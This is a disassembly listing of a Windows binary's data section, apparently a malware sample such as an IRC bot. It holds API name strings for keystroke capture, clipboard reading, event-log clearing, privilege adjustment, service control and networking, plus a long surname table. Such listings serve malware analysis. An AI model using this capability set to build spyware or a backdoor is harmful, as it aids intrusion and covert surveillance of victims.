aBind db 'bind',0 ; DATA XREF: sub_4098FD+629o
align 4
aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_4098FD+617o
align 4
aRecv db 'recv',0 ; DATA XREF: sub_4098FD+60Ao
align 4
aSendto db 'sendto',0 ; DATA XREF: sub_4098FD+5FDo
align 4
aNtohl db 'ntohl',0 ; DATA XREF: sub_4098FD+5E3o
align 4
aNtohs db 'ntohs',0 ; DATA XREF: sub_4098FD+5D6o
align 4
aHtonl db 'htonl',0 ; DATA XREF: sub_4098FD+5C9o
align 4
aHtons db 'htons',0 ; DATA XREF: sub_4098FD+5BCo
align 4
aInet_addr db 'inet_addr',0 ; DATA XREF: sub_4098FD+5AFo
align 10h
aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_4098FD+5A2o
align 4
aConnect db 'connect',0 ; DATA XREF: sub_4098FD+595o
aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_4098FD+588o
aSocket db 'socket',0 ; DATA XREF: sub_4098FD+57Bo
align 4
aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_4098FD+56Eo
align 4
aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_4098FD+561o
aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_4098FD+554o
align 10h
a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_4098FD+547o
align 10h
aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_4098FD+53Ao
align 10h
aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_4098FD+52Do
align 4
aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_4098FD+525o
align 4
aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_4098FD+514o
align 4
aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_4098FD+4A1o
align 4
aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_4098FD+494o
align 10h
aBitblt db 'BitBlt',0 ; DATA XREF: sub_4098FD+487o
align 4
aSelectobject db 'SelectObject',0 ; DATA XREF: sub_4098FD+47Ao
align 4
aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_4098FD+46Do
align 4
aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_4098FD+460o
align 4
aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_4098FD+453o
align 10h
aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_4098FD+446o
align 4
aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_4098FD+43Eo
align 10h
aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_4098FD:loc_409D2Ao
align 4
aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_4098FD:loc_409D02o
align 4
aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_4098FD+3ADo
align 4
aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_4098FD+3A0o
aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_4098FD+393o
align 10h
aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_4098FD+386o
align 10h
aControlservice db 'ControlService',0 ; DATA XREF: sub_4098FD+379o
align 10h
aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_4098FD+36Co
align 10h
aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_4098FD+35Fo
align 10h
aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_4098FD:loc_409C54o
align 10h
aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_4098FD+327o
align 4
aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_4098FD+31Ao
align 10h
aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_4098FD:loc_409C0Fo
align 4
aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_4098FD+2C6o
align 4
aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_4098FD+2B9o
align 4
aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_4098FD+2ACo
aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_4098FD+29Fo
aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_4098FD+292o
align 4
aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_4098FD+285o
align 4
aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_4098FD+278o
aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_4098FD+270o
align 4
aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_4098FD:loc_409B5Co
align 4
aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_4098FD+21Ao
aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_4098FD+20Do
align 4
aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_4098FD+200o
aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_4098FD:loc_409AF5o
align 4
aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_4098FD+1A0o
align 4
aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_4098FD+193o
align 4
aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_4098FD+186o
align 4
aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_4098FD+179o
align 4
aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_4098FD+16Co
align 4
aIswindow db 'IsWindow',0 ; DATA XREF: sub_4098FD+15Fo
align 4
aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_4098FD+152o
aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_4098FD+14Ao
align 4
aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_4098FD:loc_409A32o
; sub_424C88+Do
align 10h
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_4098FD:loc_409A05o
align 4
aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_4098FD+A0o
align 4
aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_4098FD+93o
aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_4098FD+86o
aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_4098FD+79o
align 4
aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_4098FD+6Co
aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4098FD+5Fo
aModule32first db 'Module32First',0 ; DATA XREF: sub_4098FD+52o
align 4
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_4098FD+45o
align 4
aProcess32first db 'Process32First',0 ; DATA XREF: sub_4098FD+38o
align 4
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_4098FD+2Bo
align 10h
aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_4098FD+23o
align 10h
aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_4098FD+Ao
align 10h
unk_42D6D0 db 2Dh ; - ; DATA XREF: sub_40A5B9+2F2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aDllTestComplet db 'DLL test complete.',0
align 10h
aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+2CCo
align 4
aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+298o
aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+264o
align 10h
aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+230o
align 4
aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+1FCo
align 4
aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+1C8o
aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+194o
align 4
aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+160o
align 10h
aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+12Co
align 4
aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+F8o
aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+C4o
align 4
aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+90o
align 4
aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+5Co
aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+28o
align 4
a_: ; DATA XREF: sub_410330+24Do
unicode 0, <.>,0
unk_42D860 db 2Dh ; - ; DATA XREF: sub_40A91C:loc_40A9DBo
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aNotSupportedBy db 'not supported by this system',0
align 10h
unk_42D890 db 2Dh ; - ; DATA XREF: sub_40A91C:loc_40A9A9o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aUnableToAlloca db 'unable to allocate ARP cache',0
align 10h
unk_42D8C0 db 2Dh ; - ; DATA XREF: sub_40A91C:loc_40A975o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aArpCacheIsEmpt db 'ARP cache is empty',0
align 4
unk_42D8E4 db 2Dh ; - ; DATA XREF: sub_40A91C+49o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aErrorGettingAr db 'error getting ARP cache: %d',0
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40A9FA+46o
; sub_40C29A+38o
align 10h
aReal db 'real',0
align 4
dd 0
dword_42D92C dd 0 ; DATA XREF: sub_40AE77+7o
off_42D930 dd offset sub_40AAA0 ; DATA XREF: sub_40AE77+49r
aConst db 'const',0
align 10h
dd 1, 40AB0Ch, 7474656Ch, 7265h, 0
dd 2, 40AB6Ah, 706D6F63h, 2 dup(0)
dd 3, 40ABB7h, 6E756F63h, 797274h, 0
dd 4, 40AC55h, 736Fh, 2 dup(0)
dd 5, 40ACCAh, 6E6C6C61h, 6B6369h, 0
dd 6, 40AEE0h
off_42D9AC dd offset aAbdulrazak ; DATA XREF: sub_40AAA0+20r
; "Abdulrazak"
dd offset aAckerman ; "Ackerman"
dd offset aAdams ; "Adams"
off_42D9B8 dd offset aAddison ; DATA XREF: sub_40AE77+39o
; "Addison"
dd offset aAdelstein ; "Adelstein"
dd offset aAdibe ; "Adibe"
dd offset aAdorno ; "Adorno"
dd offset aAhlers ; "Ahlers"
dd offset aAlavi ; "Alavi"
dd offset aAlcorn ; "Alcorn"
dd offset aAlda ; "Alda"
dd offset aAleks ; "Aleks"
dd offset aAllison ; "Allison"
dd offset aAlongi ; "Alongi"
dd offset aAltavilla ; "Altavilla"
dd offset aAltenberger ; "Altenberger"
dd offset aAltenhofen ; "Altenhofen"
dd offset aAmaral ; "Amaral"
dd offset aAmatangelo ; "Amatangelo"
dd offset aAmeer ; "Ameer"
dd offset aAmsden ; "Amsden"
dd offset aAnand ; "Anand"
dd offset aAndel ; "Andel"
dd offset aAndo ; "Ando"
dd offset aAndrelus ; "Andrelus"
dd offset aAndron ; "Andron"
dd offset aAnfinrud ; "Anfinrud"
dd offset aAnsley ; "Ansley"
dd offset aAnthony ; "Anthony"
dd offset aAntos ; "Antos"
dd offset aArbia ; "Arbia"
dd offset aArduini ; "Arduini"
dd offset aArellano ; "Arellano"
dd offset aAristotle ; "Aristotle"
dd offset aArjas ; "Arjas"
dd offset aArky ; "Arky"
dd offset aAtkins ; "Atkins"
dd offset aAugustus ; "Augustus"
dd offset aAurelius ; "Aurelius"
dd offset aAxelrod ; "Axelrod"
dd offset aAxworthy ; "Axworthy"
dd offset aAyiemba ; "Ayiemba"
dd offset aAykroyd ; "Aykroyd"
dd offset aAyling ; "Ayling"
dd offset aAzima ; "Azima"
dd offset aBachmuth ; "Bachmuth"
dd offset aBackus ; "Backus"
dd offset aBady ; "Bady"
dd offset aBaglivo ; "Baglivo"
dd offset aBagnold ; "Bagnold"
dd offset aBailar ; "Bailar"
dd offset aBakanowsky ; "Bakanowsky"
dd offset aBaleja ; "Baleja"
dd offset aBallatori ; "Ballatori"
dd offset aBallew ; "Ballew"
dd offset aBaltz ; "Baltz"
dd offset aBanta ; "Banta"
dd offset aBarabesi ; "Barabesi"
dd offset aBarajas ; "Barajas"
dd offset aBaranczak ; "Baranczak"
dd offset aBaranowska ; "Baranowska"
dd offset aBarberi ; "Barberi"
dd offset aBarbetti ; "Barbetti"
dd offset aBarneson ; "Barneson"
dd offset aBarnett ; "Barnett"
dd offset aBarriola ; "Barriola"
dd offset aBarry ; "Barry"
dd offset aBartholomew ; "Bartholomew"
dd offset aBartolome ; "Bartolome"
dd offset aBartoo ; "Bartoo"
dd offset aBasavappa ; "Basavappa"
dd offset aBashevis ; "Bashevis"
dd offset aBatchelder ; "Batchelder"
dd offset aBaumiller ; "Baumiller"
dd offset aBayles ; "Bayles"
dd offset aBayo ; "Bayo"
dd offset aBeacon ; "Beacon"
dd offset aBeal ; "Beal"
dd offset aBean ; "Bean"
dd offset aBeckman ; "Beckman"
dd offset aBeder ; "Beder"
dd offset aBedford ; "Bedford"
dd offset aBehenna ; "Behenna"
dd offset aBelanger ; "Belanger"
dd offset aBelaoussof ; "Belaoussof"
dd offset aBelfer ; "Belfer"
dd offset aBelinCollart ; "Belin-Collart"
dd offset aBellavance ; "Bellavance"
dd offset aBellhouse ; "Bellhouse"
dd offset aBellini ; "Bellini"
dd offset aBelloc ; "Belloc"
dd offset aBenedictDye ; "Benedict-Dye"
dd offset aBergson ; "Bergson"
dd offset aBerkeJenkins ; "Berke-Jenkins"
dd offset aBernardo ; "Bernardo"
dd offset aBernassola ; "Bernassola"
dd offset aBernston ; "Bernston"
dd offset aBerrizbeitia ; "Berrizbeitia"
dd offset aBetti ; "Betti"
dd offset aBeynart ; "Beynart"
dd offset aBiagioli ; "Biagioli"
dd offset aBickel ; "Bickel"
dd offset aBinion ; "Binion"
dd offset aBir ; "Bir"
dd offset aBisema ; "Bisema"
dd offset aBisho ; "Bisho"
dd offset aBlackbourn ; "Blackbourn"
dd offset aBlackwell ; "Blackwell"
dd offset aBlagg ; "Blagg"
dd offset aBlakemore ; "Blakemore"
dd offset aBlanke ; "Blanke"
dd offset aBliss ; "Bliss"
dd offset aBlizard ; "Blizard"
dd offset aBloch ; "Bloch"
dd offset aBloembergen ; "Bloembergen"
dd offset aBloemhof ; "Bloemhof"
dd offset aBloxham ; "Bloxham"
dd offset aBlyth ; "Blyth"
dd offset aBolger ; "Bolger"
dd offset aBolick ; "Bolick"
dd offset aBollinger ; "Bollinger"
dd offset aBologna ; "Bologna"
dd offset aBoner ; "Boner"
dd offset aBonham ; "Bonham"
dd offset aBoniface ; "Boniface"
dd offset aBontempo ; "Bontempo"
dd offset aBook ; "Book"
dd offset aBookbinder ; "Bookbinder"
dd offset aBoone ; "Boone"
dd offset aBoorstin ; "Boorstin"
dd offset aBorack ; "Borack"
dd offset aBorden ; "Borden"
dd offset aBossi ; "Bossi"
dd offset aBothman ; "Bothman"
dd offset aBotosh ; "Botosh"
dd offset aBoudin ; "Boudin"
dd offset aBoudrot ; "Boudrot"
dd offset aBourneuf ; "Bourneuf"
dd offset aBowers ; "Bowers"
dd offset aBoxer ; "Boxer"
dd offset aBoyajian ; "Boyajian"
dd offset aBoyes ; "Boyes"
dd offset aBoyland ; "Boyland"
dd offset aBoym ; "Boym"
dd offset aBoyne ; "Boyne"
dd offset aBracalente ; "Bracalente"
dd offset aBradac ; "Bradac"
dd offset aBradach ; "Bradach"
dd offset aBrecht ; "Brecht"
dd offset aBreed ; "Breed"
dd offset aBrenan ; "Brenan"
dd offset aBrennan ; "Brennan"
dd offset aBrewer ; "Brewer"
dd offset aBrewer ; "Brewer"
dd offset aBridgeman ; "Bridgeman"
dd offset aBridges ; "Bridges"
dd offset aBrinton ; "Brinton"
dd offset aBritz ; "Britz"
dd offset aBroca ; "Broca"
dd offset aBrook ; "Brook"
dd offset aBrzycki ; "Brzycki"
dd offset aBuchan ; "Buchan"
dd offset aBudding ; "Budding"
dd offset aBullard ; "Bullard"
dd offset aBunton ; "Bunton"
dd offset aBurden ; "Burden"
dd offset aBurdzy ; "Burdzy"
dd offset aBurke ; "Burke"
dd offset aBurridge ; "Burridge"
dd offset aBusetta ; "Busetta"
dd offset aByatt ; "Byatt"
dd offset aByerly ; "Byerly"
dd offset aByrd ; "Byrd"
dd offset aCage ; "Cage"
dd offset aCalnan ; "Calnan"
dd offset aCammelli ; "Cammelli"
dd offset aCammilleri ; "Cammilleri"
dd offset aCanley ; "Canley"
dd offset aCapanni ; "Capanni"
dd offset aCaperton ; "Caperton"
dd offset aCapocaccia ; "Capocaccia"
dd offset aCapodilupo ; "Capodilupo"
dd offset aCappuccio ; "Cappuccio"
dd offset aCapursi ; "Capursi"
dd offset aCaratozzolo ; "Caratozzolo"
dd offset aCarayannopoulo ; "Carayannopoulos"
dd offset aCarlin ; "Carlin"
dd offset aCarlos ; "Carlos"
dd offset aCarlyle ; "Carlyle"
dd offset aCarmichael ; "Carmichael"
dd offset aCaroti ; "Caroti"
dd offset aCarper ; "Carper"
dd offset aCartmill ; "Cartmill"
dd offset aCascio ; "Cascio"
dd offset aCase ; "Case"
dd offset aCaspar ; "Caspar"
dd offset aCastelda ; "Castelda"
dd offset aCavanagh ; "Cavanagh"
dd offset aCavell ; "Cavell"
dd offset aCeniceros ; "Ceniceros"
dd offset aCerioli ; "Cerioli"
dd offset aChapman ; "Chapman"
dd offset aCharles ; "Charles"
dd offset aCheang ; "Cheang"
dd offset aCherry ; "Cherry"
dd offset aChervinsky ; "Chervinsky"
dd offset aChiassino ; "Chiassino"
dd offset aChien ; "Chien"
dd offset aChildress ; "Childress"
dd offset aChilds ; "Childs"
dd offset aChinipardaz ; "Chinipardaz"
dd offset aChinman ; "Chinman"
dd offset aChristenson ; "Christenson"
dd offset aChristian ; "Christian"
dd offset aChristiano ; "Christiano"
dd offset aChristie ; "Christie"
dd offset aChristopher ; "Christopher"
dd offset aChu ; "Chu"
dd offset aChupasko ; "Chupasko"
dd offset aChurch ; "Church"
dd offset aCiampaglia ; "Ciampaglia"
dd offset aCicero ; "Cicero"
dd offset aCifarelli ; "Cifarelli"
dd offset aClaffey ; "Claffey"
dd offset aClancy ; "Clancy"
dd offset aClark ; "Clark"
dd offset aClement ; "Clement"
dd offset aClifton ; "Clifton"
dd offset aClow ; "Clow"
dd offset aCoblenz ; "Coblenz"
dd offset aCoito ; "Coito"
dd offset aColdren ; "Coldren"
dd offset aColella ; "Colella"
dd offset aCollard ; "Collard"
dd offset aCollis ; "Collis"
dd offset aCompton ; "Compton"
dd offset aCompton ; "Compton"
dd offset aComstock ; "Comstock"
dd offset aConcino ; "Concino"
dd offset aCondodina ; "Condodina"
dd offset aConnors ; "Connors"
dd offset aCorey ; "Corey"
dd offset aCornish ; "Cornish"
dd offset aCosmides ; "Cosmides"
dd offset aCounter ; "Counter"
dd offset aCoutaux ; "Coutaux"
dd offset aCrawford ; "Crawford"
dd offset aCrocker ; "Crocker"
dd offset aCroshaw ; "Croshaw"
dd offset aCroxen ; "Croxen"
dd offset aCroxton ; "Croxton"
dd offset aCui ; "Cui"
dd offset aCurrier ; "Currier"
dd offset aCutler ; "Cutler"
dd offset aCvek ; "Cvek"
dd offset aCyders ; "Cyders"
dd offset aDasilva ; "daSilva"
dd offset aDaldalian ; "Daldalian"
dd offset aDaly ; "Daly"
dd offset aDAmbra ; "D'Ambra"
dd offset aDanieli ; "Danieli"
dd offset aDante ; "Dante"
dd offset aDapice ; "Dapice"
dd offset aDArcangelo ; "D'arcangelo"
dd offset aDas ; "Das"
dd offset aDasgupta ; "Dasgupta"
dd offset aDaskalu ; "Daskalu"
dd offset aDavid ; "David"
dd offset aDawkins ; "Dawkins"
dd offset aDegennaro ; "DeGennaro"
dd offset aDelapena ; "DeLaPena"
dd offset aDelEnclos ; "del'Enclos"
dd offset aDerousse ; "deRousse"
dd offset aDebroff ; "Debroff"
dd offset aDees ; "Dees"
dd offset aDefeciani ; "Defeciani"
dd offset aDelattre ; "Delattre"
dd offset aDeleonRendon ; "Deleon-Rendon"
dd offset aDelger ; "Delger"
dd offset aDellAcqua ; "Dell'acqua"
dd offset aDeming ; "Deming"
dd offset aDempster ; "Dempster"
dd offset aDemusz ; "Demusz"
dd offset aDenault ; "Denault"
dd offset aDenham ; "Denham"
dd offset aDenison ; "Denison"
dd offset aDesombre ; "Desombre"
dd offset aDeutsch ; "Deutsch"
dd offset aDFini ; "D'fini"
dd offset aDicks ; "Dicks"
dd offset aDiefenbach ; "Diefenbach"
dd offset aDifabio ; "Difabio"
dd offset aDifronzo ; "Difronzo"
dd offset aDilworth ; "Dilworth"
dd offset aDionysius ; "Dionysius"
dd offset aDirksen ; "Dirksen"
dd offset aDockery ; "Dockery"
dd offset aDoherty ; "Doherty"
dd offset aDonahue ; "Donahue"
dd offset aDonner ; "Donner"
dd offset aDoonan ; "Doonan"
dd offset aDore ; "Dore"
dd offset aDorf ; "Dorf"
dd offset aDosi ; "Dosi"
dd offset aDoty ; "Doty"
dd offset aDoug ; "Doug"
dd offset aDowsland ; "Dowsland"
dd offset aDrinker ; "Drinker"
dd offset aDSouza ; "D'souza"
dd offset aDuffin ; "Duffin"
dd offset aDurrett ; "Durrett"
dd offset aDussault ; "Dussault"
dd offset aDwyer ; "Dwyer"
dd offset aEardley ; "Eardley"
dd offset aEbeling ; "Ebeling"
dd offset aEckel ; "Eckel"
dd offset aEdley ; "Edley"
dd offset aEdner ; "Edner"
dd offset aEdward ; "Edward"
dd offset aEickenhorst ; "Eickenhorst"
dd offset aEliasson ; "Eliasson"
dd offset aElmendorf ; "Elmendorf"
dd offset aElmerick ; "Elmerick"
dd offset aElvis ; "Elvis"
dd offset aEncinas ; "Encinas"
dd offset aEnyeart ; "Enyeart"
dd offset aEppling ; "Eppling"
dd offset aErbach ; "Erbach"
dd offset aErdman ; "Erdman"
dd offset aErdos ; "Erdos"
dd offset aErez ; "Erez"
dd offset aEspinoza ; "Espinoza"
dd offset aEstes ; "Estes"
dd offset aEtter ; "Etter"
dd offset aEuripides ; "Euripides"
dd offset aEverett ; "Everett"
dd offset aFabbris ; "Fabbris"
dd offset aFagan ; "Fagan"
dd offset aFaioes ; "Faioes"
dd offset aFalcoAcosta ; "Falco-Acosta"
dd offset aFalorsi ; "Falorsi"
dd offset aFaris ; "Faris"
dd offset aFarone ; "Farone"
dd offset aFarren ; "Farren"
dd offset aFasso ; "Fasso'"
dd offset aFates ; "Fates"
dd offset aFeigenbaum ; "Feigenbaum"
dd offset aFejzo ; "Fejzo"
dd offset aFeldman ; "Feldman"
dd offset aFernald ; "Fernald"
dd offset aFernandes ; "Fernandes"
dd offset aFerrante ; "Ferrante"
dd offset aFerriell ; "Ferriell"
dd offset aFeuer ; "Feuer"
dd offset aFido ; "Fido"
dd offset aField ; "Field"
dd offset aFink ; "Fink"
dd offset aFinkelstein ; "Finkelstein"
dd offset aFinnegan ; "Finnegan"
dd offset aFiorina ; "Fiorina"
dd offset aFisk ; "Fisk"
dd offset aFitzmaurice ; "Fitzmaurice"
dd offset aFlier ; "Flier"
dd offset aFlores ; "Flores"
dd offset aFolks ; "Folks"
dd offset aForester ; "Forester"
dd offset aFortes ; "Fortes"
dd offset aFortier ; "Fortier"
dd offset aFossey ; "Fossey"
dd offset aFossi ; "Fossi"
dd offset aFrancisco ; "Francisco"
dd offset aFranklinKenea ; "Franklin-Kenea"
dd offset aFranz ; "Franz"
dd offset aFrazierDavis ; "Frazier-Davis"
dd offset aFreid ; "Freid"
dd offset aFreundlich ; "Freundlich"
dd offset aFried ; "Fried"
dd offset aFriedland ; "Friedland"
dd offset aFrisken ; "Frisken"
dd offset aFrowiss ; "Frowiss"
dd offset aFryberger ; "Fryberger"
dd offset aFrye ; "Frye"
dd offset aFujiiAbe ; "Fujii-Abe"
dd offset aFuller ; "Fuller"
dd offset aFurth ; "Furth"
dd offset aFusaro ; "Fusaro"
dd offset aGabrielli ; "Gabrielli"
dd offset aGaggiotti ; "Gaggiotti"
dd offset aGaleotti ; "Galeotti"
dd offset aGalwey ; "Galwey"
dd offset aGambini ; "Gambini"
dd offset aGarfield ; "Garfield"
dd offset aGarman ; "Garman"
dd offset aGaronna ; "Garonna"
dd offset aGeller ; "Geller"
dd offset aGemberling ; "Gemberling"
dd offset aGeorgi ; "Georgi"
dd offset aGerrett ; "Gerrett"
dd offset aGhorai ; "Ghorai"
dd offset aGibbens ; "Gibbens"
dd offset aGibson ; "Gibson"
dd offset aGilbert ; "Gilbert"
dd offset aGili ; "Gili"
dd offset aGill ; "Gill"
dd offset aGillispie ; "Gillispie"
dd offset aGist ; "Gist"
dd offset aGleason ; "Gleason"
dd offset aGlegg ; "Glegg"
dd offset aGlendon ; "Glendon"
dd offset aGoldfarb ; "Goldfarb"
dd offset aGoncalves ; "Goncalves"
dd offset aGood ; "Good"
dd offset aGoodearl ; "Goodearl"
dd offset aGoody ; "Goody"
dd offset aGozzi ; "Gozzi"
dd offset aGravell ; "Gravell"
dd offset aGreenberg ; "Greenberg"
dd offset aGreenfeld ; "Greenfeld"
dd offset aGriffiths ; "Griffiths"
dd offset aGrigoletto ; "Grigoletto"
dd offset aGrummell ; "Grummell"
dd offset aGruner ; "Gruner"
dd offset aGruppe ; "Gruppe"
dd offset aGuenthart ; "Guenthart"
dd offset aGunn ; "Gunn"
dd offset aGuo ; "Guo"
dd offset aHa ; "Ha"
dd offset aHaar ; "Haar"
dd offset aHackman ; "Hackman"
dd offset aHackshaw ; "Hackshaw"
dd offset aHaley ; "Haley"
dd offset aHalkias ; "Halkias"
dd offset aHallowell ; "Hallowell"
dd offset aHalpert ; "Halpert"
dd offset aHambarzumjan ; "Hambarzumjan"
dd offset aHamer ; "Hamer"
dd offset aHammerness ; "Hammerness"
dd offset aHand ; "Hand"
dd offset aHanssen ; "Hanssen"
dd offset aHarding ; "Harding"
dd offset aHargraves ; "Hargraves"
dd offset aHarlow ; "Harlow"
dd offset aHarrigan ; "Harrigan"
dd offset aHartman ; "Hartman"
dd offset aHartmann ; "Hartmann"
dd offset aHartnett ; "Hartnett"
dd offset aHarwell ; "Harwell"
dd offset aHaviaras ; "Haviaras"
dd offset aHawkes ; "Hawkes"
dd offset aHayes ; "Hayes"
dd offset aHaynes ; "Haynes"
dd offset aHazlewood ; "Hazlewood"
dd offset aHeermans ; "Heermans"
dd offset aHeft ; "Heft"
dd offset aHeiland ; "Heiland"
dd offset aHellman ; "Hellman"
dd offset aHellmiss ; "Hellmiss"
dd offset aHelprin ; "Helprin"
dd offset aHemphill ; "Hemphill"
dd offset aHenery ; "Henery"
dd offset aHenrichs ; "Henrichs"
dd offset aHernandez ; "Hernandez"
dd offset aHerrera ; "Herrera"
dd offset aHester ; "Hester"
dd offset aHeubert ; "Heubert"
dd offset aHeyeck ; "Heyeck"
dd offset aHimmelfarb ; "Himmelfarb"
dd offset aHind ; "Hind"
dd offset aHirst ; "Hirst"
dd offset aHitchcock ; "Hitchcock"
dd offset aHoang ; "Hoang"
dd offset aHock ; "Hock"
dd offset aHoffer ; "Hoffer"
dd offset aHoffman ; "Hoffman"
dd offset aHokanson ; "Hokanson"
dd offset aHokoda ; "Hokoda"
dd offset aHolmes ; "Holmes"
dd offset aHoloien ; "Holoien"
dd offset aHolter ; "Holter"
dd offset aHolway ; "Holway"
dd offset aHolzman ; "Holzman"
dd offset aHooker ; "Hooker"
dd offset aHopkins ; "Hopkins"
dd offset aHorsley ; "Horsley"
dd offset aHoshida ; "Hoshida"
dd offset aHostage ; "Hostage"
dd offset aHottle ; "Hottle"
dd offset aHoward ; "Howard"
dd offset aHoy ; "Hoy"
dd offset aHuey ; "Huey"
dd offset aHuidekoper ; "Huidekoper"
dd offset aHungerford ; "Hungerford"
dd offset aHuntington ; "Huntington"
dd offset aHupp ; "Hupp"
dd offset aHurtubise ; "Hurtubise"
dd offset aHutchings ; "Hutchings"
dd offset aHyde ; "Hyde"
dd offset aIaquinta ; "Iaquinta"
dd offset aIchikawa ; "Ichikawa"
dd offset aIgarashi ; "Igarashi"
dd offset aInamura ; "Inamura"
dd offset aInniss ; "Inniss"
dd offset aIsaac ; "Isaac"
dd offset aIsaievych ; "Isaievych"
dd offset aIsbill ; "Isbill"
dd offset aIsserman ; "Isserman"
dd offset aIyer ; "Iyer"
dd offset aJacenko ; "Jacenko"
dd offset aJackson ; "Jackson"
dd offset aJagers ; "Jagers"
dd offset aJagger ; "Jagger"
dd offset aJagoe ; "Jagoe"
dd offset aJain ; "Jain"
dd offset aJamil ; "Jamil"
dd offset aJanjigian ; "Janjigian"
dd offset aJarnagin ; "Jarnagin"
dd offset aJarrell ; "Jarrell"
dd offset aJay ; "Jay"
dd offset aJeffers ; "Jeffers"
dd offset aJellis ; "Jellis"
dd offset aJenkins ; "Jenkins"
dd offset aJespersen ; "Jespersen"
dd offset aJewett ; "Jewett"
dd offset aJohannesson ; "Johannesson"
